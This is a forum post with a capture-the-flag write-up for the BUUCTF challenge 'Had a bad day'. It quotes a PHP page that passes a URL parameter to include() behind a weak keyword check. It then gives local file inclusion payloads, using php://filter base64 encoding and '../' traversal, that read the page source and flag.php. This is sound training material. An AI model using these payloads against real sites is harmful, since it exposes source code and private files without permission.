找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 102|回复: 0

BUUCTF靶场40 -- [BSidesCF 2020]Had a bad day

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-7 19:12:51 | 显示全部楼层 |阅读模式 IP:山东省青岛市 移动

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场40 -- [BSidesCF 2020]Had a bad day
1.png

[PHP] 纯文本查看 复制代码
              <?php
                                $file = $_GET['category'];

                                if(isset($file))
                                {
                                        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                                                include ($file . '.php');
                                        }
                                        else{
                                                echo "Sorry, we currently only support woofers and meowers.";
                                        }
                                }
                                ?>



点击后,分别是:
http://40a9696d-4306-4473-a8c9-5 ... hp?category=woofers

http://40a9696d-4306-4473-a8c9-5 ... hp?category=meowers

[HTML] 纯文本查看 复制代码
              <div class="page-include">
              <center>
        <h4> Meow! Meow! </h4>
</center>
<img style="width:100%" src="img/cat/4.jpg">                        </div>

试一下:
http://40a9696d-4306-4473-a8c9-5 ... ndex.php?category=1
2.png

再试一下:
http://40a9696d-4306-4473-a8c9-5 ... category=woofers%27
终于报错了:
Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

规律:
取等号后面名字作为php的名字,直接添加后缀.php
验证一下:
http://40a9696d-4306-4473-a8c9-5 ... j.cn:81/woofers.php
还是高清的图片,不错~~

说明是include 插入的代码片段。
/index.php?category=php://filter/read=convert.base64-encode/resource=index
读取源码:
[PHP] 纯文本查看 复制代码
<html>
  <body>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
                                $file = $_GET['category'];

                                if(isset($file))
                                {
                                        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                                                include ($file . '.php');
                                        }
                                        else{
                                                echo "Sorry, we currently only support woofers and meowers.";
                                        }
                                }
                                ?>
                        </div>
          <form action="index.php" method="get" id="choice">
              <center><button name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
  </body>
</html>

传入的category参数必须有woofers,meowers,index才行

直接访问:http://40a9696d-4306-4473-a8c9-5 ... uuoj.cn:81/flag.php

仅仅返回:<!-- Can you read this flag? -->说明当前目录下面确实存在flag.php,如何读取呢?


这里构造payload来包含flag.php

[PHP] 纯文本查看 复制代码
/index.php?category=woofers/../flag


[PHP] 纯文本查看 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index/../flag


[PHP] 纯文本查看 复制代码
/index.php?category=php://filter/convert.base64-encode/index/resource=flag




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 10:42

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表